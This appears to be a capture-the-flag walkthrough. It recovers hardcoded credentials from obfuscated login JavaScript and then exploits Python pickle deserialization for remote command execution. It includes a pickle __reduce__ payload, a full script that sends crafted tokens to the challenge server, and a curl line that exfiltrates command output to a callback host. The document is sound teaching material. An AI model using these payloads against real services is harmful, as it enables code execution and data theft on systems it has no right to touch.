Serialize Challenge Walkthrough
Challenge

The challenge tests the following skills:
- JavaScript deobfuscation and analysis
- Python pickle deserialization exploitation
- Command injection techniques
- Data exfiltration methods
Required background knowledge includes:
- JavaScript debugging
- Python pickle serialization
- Command injection techniques
- Web request manipulation
Initial Analysis
The challenge presents a login page with client-side JavaScript validation. Inspection of the source code reveals heavily obfuscated JavaScript:
1
2
3
4
5
6
7
8
9
| <body>
<form class="login-form">
<h2>Login to get flag</h2>
<input type="text" id="username" placeholder="Enter your username" required>
<input type="password" id="password" placeholder="Enter your password" required>
<button type="submit">Login</button>
</form>
<script>[][(![]+[])[+[]]... redacted
|
The full HTML source code is available in this gist
Browser developer tools debugging reveals an anonymous function containing authentication logic:
1
2
| function anonymous() {
return 'const _0x3645b3=_0x4842;function _0x4842(_0x19d358,_0x49968c){const _0x2ad82b=_0x2ad8();return _0x4842=function(_0x484299,_0x4da982){_0x484299=_0x484299-0x1f1;let _0x4c8636=_0x2ad82b[_0x484299];return _0x4c8636;},_0x4842(_0x19d358,_0x49968c);}(function(_0x4ff4ae,_0x561f72){const _0x2b38fa=_0x4842,_0x2d072e=_0x4ff4ae();while(!![]){try{const _0x20be76=parseInt(_0x2b38fa(0x1f5))/0x1+-parseInt(_0x2b38fa(0x206))/0x2*(parseInt(_0x2b38fa(0x205))/0x3)+parseInt(_0x2b38fa(0x202))/0x4+-parseInt(_0x2b38fa(0x1ff))/0x5+-parseInt(_0x2b38fa(0x1fd))/0x6*(parseInt(_0x2b38fa(0x201))/0x7)+-parseInt(_0x2b38fa(0x1f2))/0x8+parseInt(_0x2b38fa(0x1fa))/0x9*(parseInt(_0x2b38fa(0x1f9))/0xa);if(_0x20be76===_0x561f72)break;else _0x2d072e[\'push\'](_0x2d072e[\'shift\']());}catch(_0x1a16c9){_0x2d072e[\'push\'](_0x2d072e[\'shift\']());}}}(_0x2ad8,0xbdbb4));const form=document[_0x3645b3(0x1fe)](_0x3645b3(0x200));async function submitForm(_0x361a11){const _0xbae53f=_0x3645b3,_0x261004=await fetch(_0xbae53f(0x203),{\'method\':\'POST\',\'body\':JSON[_0xbae53f(0x208)](_0x361a11),\'headers\':{\'Content-Type\':_0xbae53f(0x1f4)}});window[_0xbae53f(0x1f7)]=\'/welcome.png\';}form[_0x3645b3(0x1f8)](_0x3645b3(0x1f6),_0x3f6721=>{const _0x43e2d2=_0x3645b3;_0x3f6721[_0x43e2d2(0x1f1)]();const _0x451641=document[_0x43e2d2(0x204)](_0x43e2d2(0x1fc)),_0x12fab0=document[\'getElementById\'](_0x43e2d2(0x207));_0x451641[_0x43e2d2(0x1fb)]==\'dreky\'&&_0x12fab0[\'value\']==\'ohyeahboiiiahhuhh\'?submitForm({\'user\':_0x451641[\'value\'],\'pass\':_0x12fab0[_0x43e2d2(0x1fb)]}):alert(_0x43e2d2(0x1f3));});function _0x2ad8(){const _0x5aa71f=[\'2115056nOLZur\',\'Invalid\\x20username\\x20or\\x20password\',\'application/json\',\'206204rQEQbe\',\'submit\',\'location\',\'addEventListener\',\'4252550HZZkfV\',\'18etmbIj\',\'value\',\'username\',\'43194hBWQRV\',\'querySelector\',\'5935145KtOSgP\',\'.login-form\',\'238aTVShg\',\'6015272rbWZkU\',\'/login\',\'getElementById\',\'15cVIXSQ\',\'34886FmgdQH\',\'password\',\'stringify\',\'preventDefault\'];_0x2ad8=function(){return _0x5aa71f;};return _0x2ad8();}'
|
Deobfuscated JavaScript revealing credentials and login endpoint:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| const form = document.querySelector('.login-form');
// Main form submission handler
form.addEventListener('submit', (e) => {
e.preventDefault();
const username = document.getElementById('username');
const password = document.getElementById('password');
// Client-side credential check
if (username.value == 'dreky' && password.value == 'ohyeahboiiiahhuhh') {
submitForm({
'user': username.value,
'pass': password.value
});
} else {
alert('Invalid username or password');
}
});
// Submit function that sends credentials to server
async function submitForm(credentials) {
const response = await fetch('/login', {
'method': 'POST',
'body': JSON.stringify(credentials),
'headers': {
'Content-Type': 'application/json'
}
});
window.location = '/welcome.png';
}
|
Discovered credentials:
- Username:
dreky
- Password:
ohyeahboiiiahhuhh
Technical Deep Dive
A POST request to the /login
endpoint using the discovered credentials yields:

The response redirects to a new page:

Source code reveals a CSS file reference:

The CSS file contents expose additional information:

The discovered endpoint /t0p_s3cr3t_p4g3_7_7
returns a response with an interesting header:

Using CyberChef of the token reveals like a Python pickle serialization. The structure suggests it’s trying to call posix.system('dreky')
:

Solution
Analysis of the X-Serial-Token reveals Python pickle serialization. Python’s pickle module serializes Python objects into a byte stream for storage or transmission. However, pickle deserialization executes code during object reconstruction, making it dangerous when processing untrusted data.
The original token decoded shows:
1
2
3
4
| {
'posix': 'system',
'command': 'dreky'
}
|
This structure indicates the server deserializes the token and executes system commands. The vulnerability lies in pickle’s __reduce__
method, which allows arbitrary code execution during deserialization. A malicious payload can be crafted:
1
2
3
4
5
6
7
8
9
10
11
12
| import pickle
import base64
import posix
class Evil:
def __reduce__(self):
# Returns a tuple of (callable, args) that pickle uses for reconstruction
# When deserialized, it executes: posix.system(command)
return (posix.system, ('cat flag.txt',))
payload = pickle.dumps(Evil())
print(base64.b64encode(payload).decode())
|
Sending the modified token with cat flag.txt
reveals different response codes in the h1
tag, indicating command execution success or failure:

To streamline the exploitation process, a custom Python console script automates payload generation and request handling:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
| import pickle
import base64
import posix
import requests
from bs4 import BeautifulSoup
import readline
class Evil:
def __reduce__(self):
return (posix.system, (cmd,))
def create_payload(command):
global cmd # Use global to make cmd accessible in Evil class
cmd = command
return base64.b64encode(pickle.dumps(Evil())).decode()
def parse_response(html):
soup = BeautifulSoup(html, 'html.parser')
# Find result in h1 tag
result = soup.find('h1')
if result:
return result.text
return "No result found"
def send_request(token):
url = "http://chall.ehax.tech:8008/t0p_s3cr3t_p4g3_7_7"
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'X-Serial-Token': token
}
try:
response = requests.get(url, headers=headers)
return response.text
except requests.RequestException as e:
return f"Error making request: {str(e)}"
def main():
print("-" * 50)
while True:
try:
command = input("Command > ").strip()
if command.lower() == 'exit':
break
if not command:
continue
# Create payload
token = create_payload(command)
print(f"\nGenerated Token: {token}")
# Send request and get response
response = send_request(token)
# Parse and display result
result = parse_response(response)
print(f"Result: {result}\n")
except KeyboardInterrupt:
print("\nExiting...")
break
except Exception as e:
print(f"Error: {str(e)}\n")
if __name__ == "__main__":
main()
|

Command execution verification requires output exfiltration since responses only show exit codes. Using an HTTP callback service captures command output:
1
2
| # Exfiltration payload
cmd = f'cmd=`{command}` && curl "https://callback.domain/?=$(cmd)"'
|
The callback listener demonstrates successful command execution:


This exploitation method combines deserialization vulnerability with command injection and data exfiltration techniques. The pickle vulnerability provides initial code execution, while DNS/HTTP callbacks bypass output restrictions.
Successful Exploitation
The first flag part (oh_h3l1_
) enables targeted file searching. A grep command reveals the complete flag:

Final flag: E4HX{oh_h3l1_n44www_y0u_8r0k3_5th_w4l1}
Security Implications
This challenge demonstrates critical vulnerability patterns:
- Client-side only authentication
- Unsafe deserialization of user-controlled data
- Command injection leading to RCE
- Data exfiltration via DNS/HTTP requests
Security Recommendations
- Server-side authentication implementation
- Avoiding pickle deserialization of untrusted data
- Input validation and sanitization